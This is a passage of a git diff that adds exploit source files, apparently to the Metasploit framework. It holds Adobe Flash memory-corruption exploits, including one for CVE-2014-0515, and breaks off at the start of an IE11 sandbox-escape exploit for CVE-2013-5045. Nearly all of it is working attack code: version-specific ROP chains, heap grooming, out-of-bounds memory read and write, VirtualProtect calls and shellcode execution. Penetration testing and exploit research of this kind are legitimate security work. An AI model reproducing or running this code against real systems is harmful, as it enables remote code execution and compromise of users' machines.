payload.writeUnsignedInt((vftableAddr_copy + 6255948)); + payload.writeUnsignedInt((vftableAddr_copy + 6824832)); + payload.writeUnsignedInt((vftableAddr_copy + 5021261)); + payload.writeUnsignedInt((vftableAddr_copy + 6176368)); + payload.writeUnsignedInt((vftableAddr_copy + 2847152)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,2,202,233": + vftableAddr_copy = (vftableAddr_copy - 7729872); + _local_5 = (vftableAddr_copy + 0x93F000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 4947594)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 2022508)); + payload.position = 80; + payload.writeUnsignedInt((vftableAddr_copy + 4691374)); + payload.writeUnsignedInt((vftableAddr_copy + 6824832)); + payload.writeUnsignedInt((vftableAddr_copy + 4164715)); + payload.writeUnsignedInt((vftableAddr_copy + 5837496)); + payload.writeUnsignedInt((vftableAddr_copy + 2847021)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,2,202,235": + vftableAddr_copy = (vftableAddr_copy - 7734032); + _local_5 = (vftableAddr_copy + 0x940000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 4947578)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 2022729)); + payload.position = 80; + payload.writeUnsignedInt((vftableAddr_copy + 5249755)); + payload.writeUnsignedInt((vftableAddr_copy + 6828928)); + payload.writeUnsignedInt((vftableAddr_copy + 4261382)); + payload.writeUnsignedInt((vftableAddr_copy + 4553024)); + payload.writeUnsignedInt((vftableAddr_copy + 2847456)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,3,300,257": + vftableAddr_copy = (vftableAddr_copy - 8232016); + _local_5 = (vftableAddr_copy + 0x9C3000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 5328586)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 2069614)); + payload.position = 80; + payload.writeUnsignedInt((vftableAddr_copy + 6497300)); + payload.writeUnsignedInt((vftableAddr_copy + 7222148)); + payload.writeUnsignedInt((vftableAddr_copy + 5022322)); + payload.writeUnsignedInt((vftableAddr_copy + 4972967)); + payload.writeUnsignedInt((vftableAddr_copy + 3071572)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,3,300,273": + vftableAddr_copy = (vftableAddr_copy - 8236216); + _local_5 = (vftableAddr_copy + 0x9C4000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 5331930)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 2070667)); + payload.position = 80; + payload.writeUnsignedInt((vftableAddr_copy + 6500737)); + payload.writeUnsignedInt((vftableAddr_copy + 7226252)); + payload.writeUnsignedInt((vftableAddr_copy + 5142060)); + payload.writeUnsignedInt((vftableAddr_copy + 5127634)); + payload.writeUnsignedInt((vftableAddr_copy + 3074828)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,4,402,278": + vftableAddr_copy = (vftableAddr_copy - 8503560); + _local_5 = (vftableAddr_copy + 0xA23000); + payload.writeUnsignedInt((vftableAddr_copy + 5581452)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 1202409)); + payload.position = 76; + payload.writeUnsignedInt((vftableAddr_copy + 6927402)); + payload.writeUnsignedInt((vftableAddr_copy + 7480208)); + payload.writeUnsignedInt((vftableAddr_copy + 5373116)); + payload.writeUnsignedInt((vftableAddr_copy + 5713520)); + payload.writeUnsignedInt((vftableAddr_copy + 3269652)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,4,402,287": + vftableAddr_copy = (vftableAddr_copy - 8507728); + _local_5 = (vftableAddr_copy + 0xA24000); + payload.writeUnsignedInt((vftableAddr_copy + 5582348)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 1202841)); + payload.position = 76; + payload.writeUnsignedInt((vftableAddr_copy + 6927143)); + payload.writeUnsignedInt((vftableAddr_copy + 7484304)); + payload.writeUnsignedInt((vftableAddr_copy + 5481024)); + payload.writeUnsignedInt((vftableAddr_copy + 5107604)); + payload.writeUnsignedInt((vftableAddr_copy + 5747979)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,5,502,110": + vftableAddr_copy = (vftableAddr_copy - 11716376); + _local_5 = (vftableAddr_copy + 0xEC6000); + payload.position = 20; + payload.writeUnsignedInt((vftableAddr_copy + 9813154)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 448623)); + payload.position = 96; + payload.writeUnsignedInt((vftableAddr_copy + 9326463)); + payload.writeUnsignedInt((vftableAddr_copy + 10691852)); + payload.writeUnsignedInt((vftableAddr_copy + 5731300)); + payload.writeUnsignedInt((vftableAddr_copy + 8910259)); + payload.writeUnsignedInt((vftableAddr_copy + 8630687)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,5,502,135": + vftableAddr_copy = (vftableAddr_copy - 11716400); + _local_5 = (vftableAddr_copy + 0xEC6000); + payload.writeUnsignedInt((vftableAddr_copy + 1101327)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 4733912)); + payload.position = 76; + payload.writeUnsignedInt((vftableAddr_copy + 4540)); + payload.writeUnsignedInt((vftableAddr_copy + 10691852)); + payload.writeUnsignedInt((vftableAddr_copy + 28862)); + payload.writeUnsignedInt((vftableAddr_copy + 512197)); + payload.writeUnsignedInt((vftableAddr_copy + 1560889)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,5,502,146": + vftableAddr_copy = (vftableAddr_copy - 11716320); + _local_5 = (vftableAddr_copy + 0xEC6000); + payload.writeUnsignedInt((vftableAddr_copy + 1101327)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 4733912)); + payload.position = 76; + payload.writeUnsignedInt((vftableAddr_copy + 4540)); + payload.writeUnsignedInt((vftableAddr_copy + 10691852)); + payload.writeUnsignedInt((vftableAddr_copy + 28862)); + payload.writeUnsignedInt((vftableAddr_copy + 512197)); + payload.writeUnsignedInt((vftableAddr_copy + 1560889)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,5,502,149": + vftableAddr_copy = (vftableAddr_copy - 11712240); + _local_5 = (vftableAddr_copy + 0xEC6000); + payload.position = 5; + payload.writeUnsignedInt((vftableAddr_copy + 10373824)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 4331881)); + payload.position = 77; + payload.writeUnsignedInt((vftableAddr_copy + 9292830)); + payload.writeUnsignedInt((vftableAddr_copy + 10691852)); + payload.writeUnsignedInt((vftableAddr_copy + 5731956)); + payload.writeUnsignedInt((vftableAddr_copy + 7150772)); + payload.writeUnsignedInt((vftableAddr_copy + 3344264)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,6,602,168": + vftableAddr_copy = (vftableAddr_copy - 11825816); + _local_5 = (vftableAddr_copy + 0xEE9000); + payload.position = 5; + payload.writeUnsignedInt((vftableAddr_copy + 9924439)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 4370139)); + payload.position = 77; + payload.writeUnsignedInt((vftableAddr_copy + 9564155)); + payload.writeUnsignedInt((vftableAddr_copy + 10736920)); + payload.writeUnsignedInt((vftableAddr_copy + 5830863)); + payload.writeUnsignedInt((vftableAddr_copy + 9044861)); + payload.writeUnsignedInt((vftableAddr_copy + 7984191)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,6,602,171": + vftableAddr_copy = (vftableAddr_copy - 11834040); + _local_5 = (vftableAddr_copy + 0xEEA000); + payload.position = 5; + payload.writeUnsignedInt((vftableAddr_copy + 9925589)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 4370636)); + payload.position = 77; + payload.writeUnsignedInt((vftableAddr_copy + 9564442)); + payload.writeUnsignedInt((vftableAddr_copy + 10741016)); + payload.writeUnsignedInt((vftableAddr_copy + 5771380)); + payload.writeUnsignedInt((vftableAddr_copy + 10153408)); + payload.writeUnsignedInt((vftableAddr_copy + 7983199)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,6,602,180": + vftableAddr_copy = (vftableAddr_copy - 11824712); + _local_5 = (vftableAddr_copy + 0xEE9000); + payload.position = 5; + payload.writeUnsignedInt((vftableAddr_copy + 9923173)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 4368414)); + payload.position = 77; + payload.writeUnsignedInt((vftableAddr_copy + 9562061)); + payload.writeUnsignedInt((vftableAddr_copy + 10736920)); + payload.writeUnsignedInt((vftableAddr_copy + 5828990)); + payload.writeUnsignedInt((vftableAddr_copy + 9042989)); + payload.writeUnsignedInt((vftableAddr_copy + 8661666)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,7,700,169": + vftableAddr_copy = (vftableAddr_copy - 12902952); + _local_5 = (vftableAddr_copy + 16904192); + payload.writeUnsignedInt((vftableAddr_copy + 1116239)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 10368763)); + payload.position = 76; + payload.writeUnsignedInt((vftableAddr_copy + 2586086)); + payload.writeUnsignedInt((vftableAddr_copy + 11752328)); + payload.writeUnsignedInt((vftableAddr_copy + 32732)); + payload.writeUnsignedInt((vftableAddr_copy + 8192266)); + payload.writeUnsignedInt((vftableAddr_copy + 1578904)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,7,700,202": + vftableAddr_copy = (vftableAddr_copy - 0xc4f508); + _local_5 = (vftableAddr_copy + 0x101f000); + payload.position = 8; + payload.writeUnsignedInt((vftableAddr_copy + 0x7dfcd2)); // 107dfcd2 : add esp,44h ; ret + payload.position = 0x40; + payload.writeUnsignedInt((vftableAddr_copy + 0x12a269)); // 1012a269 : xchg edx,esp ; add eax,dword ptr [eax]; add byte ptr [edi+5Eh],bl ; pop ecx ; ret + payload.position = 0x50; + payload.writeUnsignedInt((vftableAddr_copy + 0xcb497)); // 100cb497 : pop eax ; ret + payload.writeUnsignedInt((vftableAddr_copy + 0xb35388)); // 10b35388 : ptr to VirtualProtect + payload.writeUnsignedInt((vftableAddr_copy + 0x110d3d)); // 10110d3d : mov eax,dword ptr [eax] ; ret + payload.writeUnsignedInt((vftableAddr_copy + 0x887362)); // 10887362 : push eax ; ret + payload.writeUnsignedInt((vftableAddr_copy + 0x331bff)); // 10331bff : jmp esp + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(0x40); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,8,800,97": + vftableAddr_copy = (vftableAddr_copy - 129165844); + _local_5 = (vftableAddr_copy + 16904192); + payload.position = 8; + payload.writeUnsignedInt(vftableAddr_copy); + payload.position = 16; + payload.writeUnsignedInt((vftableAddr_copy + 117625919)); + payload.writeUnsignedInt(-1810746282); + payload.writeUnsignedInt((scAddr + 76)); + payload.writeUnsignedInt((vftableAddr_copy + 122565891)); + payload.position = 44; + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 0x0400)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 123362382)); + payload.position = 80; + payload.writeUnsignedInt((scAddr + 192)); + payload.position = 112; + payload.writeUnsignedInt((vftableAddr_copy + 32365)); + payload.writeUnsignedInt((vftableAddr_copy + 11760520)); + payload.writeUnsignedInt((vftableAddr_copy + 1117213)); + payload.writeUnsignedInt((vftableAddr_copy + 3721232)); + payload.writeUnsignedInt((vftableAddr_copy + 8274178)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + case "win 11,8,800,50": + vftableAddr_copy = (vftableAddr_copy - 12936000); + _local_5 = (vftableAddr_copy + 17149952); + payload.writeUnsignedInt((vftableAddr_copy + 404531)); + payload.position = 64; + payload.writeUnsignedInt((vftableAddr_copy + 2583617)); + payload.position = 72; + payload.writeUnsignedInt((vftableAddr_copy + 7914140)); + payload.writeUnsignedInt((vftableAddr_copy + 4550)); + payload.writeUnsignedInt((vftableAddr_copy + 11780992)); + payload.writeUnsignedInt((vftableAddr_copy + 32684)); + payload.writeUnsignedInt((vftableAddr_copy + 142358)); + payload.writeUnsignedInt((vftableAddr_copy + 1577816)); + payload.writeUnsignedInt(scAddr); + payload.writeUnsignedInt(0x1000); + payload.writeUnsignedInt(64); + payload.writeUnsignedInt((scAddr - 4)); + break; + default: + return (null); + }; + return (payload); + } + + public function exploit():Boolean + { + var vector_objects_entry_length:int; + var shellcode_byte = null; + var _local_6:uint; + var i:int; + var vftable_addr:uint; + var shellcode_address:uint; + var vector_objects_entry_idx:uint; + var length_vector_byte_arrays:uint; + var vector_byte_arrays:Vector. = new Vector.(0); + var vector_objects:Vector. = new Vector.(0); + var twos_object:Object = new [2, 2, 2, 2, 2, 2, 2, 2]; + var vickers_byte_array:ByteArray = new ByteArray(); + while (i < 0x0500) + { + vector_byte_arrays[i] = new ByteArray(); + vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH; + i++; + }; + vickers_byte_array.writeUTFBytes("vickers"); + vickers_byte_array.length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH; + ApplicationDomain.currentDomain.domainMemory = vickers_byte_array; + vector_byte_arrays[i] = new ByteArray(); + vector_byte_arrays[i].length = ApplicationDomain.MIN_DOMAIN_MEMORY_LENGTH; + length_vector_byte_arrays = i; + i = 0; + while (i < (vector_byte_arrays.length - 1)) + { + vector_byte_arrays[i++] = null; + }; + i = 0; + while (i < 0x8000) + { + vector_objects[i] = new [i, twos_object, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]; + i++; + }; + // _local_6 => nil => 0, makes li32(_local_6 - offset) makes it underflow! + // Example leak: 0275ef00 => 10c4f508 0000003b 00002326 + if (((!((li16((_local_6 + 1)) == 114))) && (((vftable_addr = li32((_local_6 - 0x0100)) ) == 305419896)))) + { + }; + if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_idx = li32((_local_6 - 248)) ) == 305419896)))) + { + }; + vector_objects_entry_idx = (vector_objects_entry_idx >> 3); + if (((!((li16((_local_6 + 1)) == 114))) && (((vector_objects_entry_length = li32((_local_6 - 252)) ) == 305419896)))) + { + }; + + // No success + if (vector_objects_entry_length != vector_objects[vector_objects_entry_idx].length) + { + vickers_byte_array = null; + vector_byte_arrays[length_vector_byte_arrays] = null; + i = 0; + while (i < vector_objects.length) + { + vector_objects[i++] = null; + }; + return (false); + }; + + i = 0; + while (i < vector_objects.length) + { + if (i != vector_objects_entry_idx) + { + vector_objects[i] = null; + }; + i++; + }; + // Use underflow to leak shellcode address + if (((!((li16((_local_6 + 1)) == 114))) && (((shellcode_address = li32((_local_6 - 0x0200)) ) == 305419896)))) + { + }; + shellcode_address = (shellcode_address + 0x1300); + var rop_payload:ByteArray = makePayload(vftable_addr, shellcode_address); + if (rop_payload == null) + { + return (true); + }; + var j:uint; + var shellcode_length:uint = shellcode.length; + var shellcode_byte_array:ByteArray = new ByteArray(); + shellcode_byte_array.endian = "littleEndian"; + while (j < shellcode_length) + { + shellcode_byte = (shellcode.charAt(j) + shellcode.charAt((j + 1))); + shellcode_byte_array.writeByte(parseInt(shellcode_byte, 16)); + j = (j + 2); + }; + vector_byte_arrays[length_vector_byte_arrays].position = 0; + vector_byte_arrays[length_vector_byte_arrays].endian = "littleEndian"; + vector_byte_arrays[length_vector_byte_arrays].writeBytes(rop_payload); + vector_byte_arrays[length_vector_byte_arrays].writeBytes(shellcode_byte_array); + // Use underflow to overwrite and get code execution + if (li16((_local_6 + 1)) != 114) + { + si32((shellcode_address + 1), (_local_6 - 244)); + }; + vector_objects[vector_objects_entry_idx][1][0]; + return (true); + } + + + } +}//package diff --git a/external/source/exploits/CVE-2014-0515/Graph.as b/external/source/exploits/CVE-2014-0515/Graph.as new file mode 100755 index 0000000000..ab64eb90cd --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/Graph.as @@ -0,0 +1,411 @@ +//compile with AIR SDK 13.0: mxmlc Graph.as -o Graph.swf +package { + import flash.display.Sprite; + import flash.utils.ByteArray; + import flash.display.Shader; + import flash.system.Capabilities; + import flash.net.FileReference; + import flash.utils.Endian; + import __AS3__.vec.Vector; + import __AS3__.vec.*; + import flash.display.LoaderInfo; + + public class Graph extends Sprite { + + static var counter:uint = 0; + + protected var Shad:Class; + var shellcode_byte_array:ByteArray; + var aaab:ByteArray; + var shellcodeObj:Array; + + public function Graph(){ + var tweaked_vector:* = undefined; + var tweaked_vector_address:* = undefined; + var shader:Shader; + var flash_memory_protect:Array; + var code_vectors:Array; + var address_code_vector:uint; + var address_shellcode_byte_array:uint; + this.Shad = Graph_Shad; + super(); + shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(","); + var i:* = 0; + var j:* = 0; + + // Just one try + counter++; + if (counter > 1) + { + return; + }; + + // Memory massage + var array_length:uint = 0x10000; + var vector_size:uint = 34; + var array:Array = new Array(); + i = 0; + while (i < array_length) + { + array[i] = new Vector.(1); + i++; + }; + i = 0; + while (i < array_length) + { + array[i] = new Vector.(vector_size); + i++; + }; + i = 0; + while (i < array_length) + { + array[i].length = 0; + i++; + }; + i = 0x0200; + while (i < array_length) + { + array[(i - (2 * (j % 2)))].length = 0x0100; + i = (i + 28); + j++; + }; + + // Overflow and Search for corrupted vector + var corrupted_vector_idx:uint; + var shadba:ByteArray = (new this.Shad() as ByteArray); + shadba.position = 232; + if (Capabilities.os.indexOf("Windows 8") >= 0) + { + shadba.writeUnsignedInt(2472); + }; + shadba.position = 0; + while (1) + { + shader = new Shader(); + try + { + shader.byteCode = (new this.Shad() as ByteArray); + } catch(e) + { + }; + i = 0; + while (i < array_length) + { + if (array[i].length > 0x0100) + { + corrupted_vector_idx = i; + break; + }; + i++; + }; + if (i != array_length) + { + if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break; + }; + array.push(new Vector.(vector_size)); + }; + + // Tweak the vector following the corrupted one + array[corrupted_vector_idx][vector_size] = 0x40000001; + tweaked_vector = array[(corrupted_vector_idx + 1)]; + + // repair the corrupted vector by restoring its + // vector object pointer and length + var vector_obj_addr:* = tweaked_vector[0x3fffffff]; + tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr; + tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size; + i = 0; + var val:uint; + while (true) + { + val = tweaked_vector[(0x40000000 - i)]; + if (val == 0x90001B) break; + i++; + }; + tweaked_vector_address = 0; + if (tweaked_vector[((0x40000000 - i) - 4)] > 0) + { + tweaked_vector[4] = 0x41414141; + tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8); + }; + + // More memory massage, fill an array of FileReference objects + var file_reference_array:Array = new Array(); + i = 0; + while (i < 64) + { + file_reference_array[i] = new FileReference(); + i++; + }; + + var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address); + var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20)); + var do_it:Boolean = true; + var memory_protect_ptr:uint; + var aaaq:uint; + if (do_it) + { + flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address); + memory_protect_ptr = flash_memory_protect[0]; + aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment + code_vectors = this.createCodeVectors(0x45454545, 0x90909090); + address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545); + this.fillCodeVectors(code_vectors); + tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call + tweaked_vector[4] = aaaq; + tweaked_vector[0] = 0x1000; // Length + tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address + + // 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=???????? + this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8)); + + // 1) Set memory as executable + i = 0; + while (i < 64) + { + file_reference_array[i].cancel(); + i++; + }; + + // 2) Execute shellcode + tweaked_vector[7] = address_code_vector; + i = 0; + while (i < 64) + { + file_reference_array[i].cancel(); + i++; + }; + + // Restore FileReference cancel function pointer + // Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads + this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address); + }; + } + + // returns the integer at memory address + // vector: vector with tweaked length + // vector_address: vector's memory address + // address: memory address to read + function read_memory(vector:Vector., vector_address:uint, address:uint):uint{ + if (address >= vector_address) + { + return (vector[((address - vector_address) / 4)]); + }; + return (vector[(0x40000000 - ((vector_address - address) / 4))]); + } + + function write_memory(vector:Vector., vector_address:uint, address:uint, value:uint){ + if (address >= vector_address) + { + vector[((address - vector_address) / 4)] = value; + } else + { + vector[(0x40000000 - ((vector_address - address) / 4))] = value; + }; + } + + function findFlashMemoryProtect(vector:*, vector_address:*):Array{ + var content:uint; + var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c)); + var index:uint; + var memory_protect_ptr:uint; + var _local_6:uint; + if (allocation >= vector_address) + { + index = ((allocation - vector_address) / 4); + } else + { + index = (0x40000000 - ((vector_address - allocation) / 4)); + }; + + //push 1 ; 6a 01 + //push dword ptr [eax-8] ; ff 70 f8 + //push dword ptr [eax-4] ; ff 70 fc + //call sub_1059DD00 // Will do VirtualProtect + var offset:uint; + while (1) + { + index--; + content = vector[index]; + if (content == 0xfff870ff) + { + offset = 2; + break; + }; + if (content == 0xf870ff01) + { + offset = 1; + break; + }; + if (content == 0x70ff016a) + { + content = vector[(index + 1)]; + if (content == 0xfc70fff8) + { + offset = 0; + break; + }; + } else + { + if (content == 0x70fff870) + { + offset = 3; + break; + }; + }; + }; + + memory_protect_ptr = ((vector_address + (4 * index)) - offset); + index--; + var content_before:uint = vector[index]; + + if (content_before == 0x16a0424) + { + return ([memory_protect_ptr, _local_6]); + }; + if (content_before == 0x6a042444) + { + return ([memory_protect_ptr, _local_6]); + }; + if (content_before == 0x424448b) + { + return ([memory_protect_ptr, _local_6]); + }; + if (content_before == 0xff016a04) + { + return ([memory_protect_ptr, _local_6]); + }; + _local_6 = (memory_protect_ptr - 6); + + while (1) + { + index--; + content = vector[index]; + if (content == 0x850ff50) + { + if (uint(vector[(index + 1)]) == 0x5e0cc483) + { + offset = 0; + break; + }; + }; + content = (content & 0xFFFFFF00); + if (content == 0x50FF5000) + { + if (uint(vector[(index + 1)]) == 0xcc48308) + { + offset = 1; + break; + }; + }; + content = (content & 0xFFFF0000); + if (content == 0xFF500000) + { + if (uint(vector[(index + 1)]) == 0xc4830850) + { + if (uint(vector[(index + 2)]) == 0xc35d5e0c) + { + offset = 2; + break; + }; + }; + }; + content = (content & 0xFF000000); + if (content == 0x50000000) + { + if (uint(vector[(index + 1)]) == 0x830850ff) + { + if (uint(vector[(index + 2)]) == 0x5d5e0cc4) + { + offset = 3; + break; + }; + }; + }; + }; + memory_protect_ptr = ((vector_address + (4 * index)) + offset); + return ([memory_protect_ptr, _local_6]); + } + + // vector: vector with tweaked length + // address: memory address of vector data + function find_file_ref_vtable(vector:*, address:*):uint{ + var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c)); + + // Find an allocation of size 0x2a0 + var allocation_size:uint; + while (true) + { + allocation_size = this.read_memory(vector, address, (allocation + 8)); + if (allocation_size == 0x2a0) break; + if (allocation_size < 0x2a0) + { + allocation = (allocation + 0x24); // next allocation + } else + { + allocation = (allocation - 0x24); // prior allocation + }; + }; + var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc)); + while (true) + { + if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break; + if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break; + allocation_contents = this.read_memory(vector, address, (allocation_contents + 8)); + }; + return (allocation_contents); + } + + // Returns pointer to the nops in one of the allocated code vectors + function findCodeVector(vector:*, vector_address:*, mark:*):uint{ + var allocation_size:uint; + var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c)); + while (true) + { + allocation_size = this.read_memory(vector, vector_address, (allocation + 8)); + if (allocation_size == 0x7f0) break; // Code Vector found + allocation = (allocation + 0x24); // next allocation + }; + + // allocation contents should be the vector code, search for the mark 0x45454545 + var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc)); + while (true) + { + if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break; + allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation + }; + return ((allocation_contents + 0x2c)); + } + + // create 8 vectors of size 0x7f0 inside an array to place shellcode + function createCodeVectors(mark:uint, nops:uint){ + var code_vectors_array:Array = new Array(); + var i:* = 0; + while (i < 8) + { + code_vectors_array[i] = new Vector.(((0x7f0 / 4) - 8)); // new Vector.(0x1f4) + code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4 + code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4 + i++; + }; + return (code_vectors_array); + } + + + // Fill with the code vectors with the shellcode + function fillCodeVectors(array_code_vectors:Array) { + var i:uint = 0; + var sh:uint=1; + + while(i < array_code_vectors.length) + { + for(var u:String in shellcodeObj) + { + array_code_vectors[i][sh++] = Number(shellcodeObj[u]); + } + i++; + sh = 1; + } + } + } +}//package diff --git a/external/source/exploits/CVE-2014-0515/Graph_Shad.as b/external/source/exploits/CVE-2014-0515/Graph_Shad.as new file mode 100755 index 0000000000..c0e84dff5d --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/Graph_Shad.as @@ -0,0 +1,10 @@ +package +{ + import mx.core.ByteArrayAsset; + + [Embed(source="binary_data", mimeType="application/octet-stream")] + public class Graph_Shad extends ByteArrayAsset + { + + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2014-0515/binary_data b/external/source/exploits/CVE-2014-0515/binary_data new file mode 100755 index 0000000000..8d83cb55c9 Binary files /dev/null and b/external/source/exploits/CVE-2014-0515/binary_data differ diff --git a/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.cpp b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.cpp new file mode 100755 index 0000000000..162568212e --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.cpp @@ -0,0 +1,184 @@ +// This file is part of IE11SandboxEsacapes. + +// IE11SandboxEscapes is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// IE11SandboxEscapes is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with IE11SandboxEscapes. If not, see . + +#include "stdafx.h" +#include +#include + +#define MAX_ENV 32767 + +#pragma comment(lib, "Iepmapi.lib") + +typedef NTSTATUS (__stdcall *fNtOpenSection)( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +HANDLE MyCreateProcess(bstr_t exec, bstr_t cmdline) +{ + STARTUPINFO startInfo = { 0 }; + PROCESS_INFORMATION procInfo = { 0 }; + + if (!CreateProcess(exec, cmdline, NULL, NULL, FALSE, 0, NULL, NULL, + &startInfo, &procInfo)) + { + DebugPrintf("Error Creating Process: %d", GetLastError()); + + return nullptr; + } + else + { + CloseHandle(procInfo.hThread); + + return procInfo.hProcess; + } +} + +bstr_t 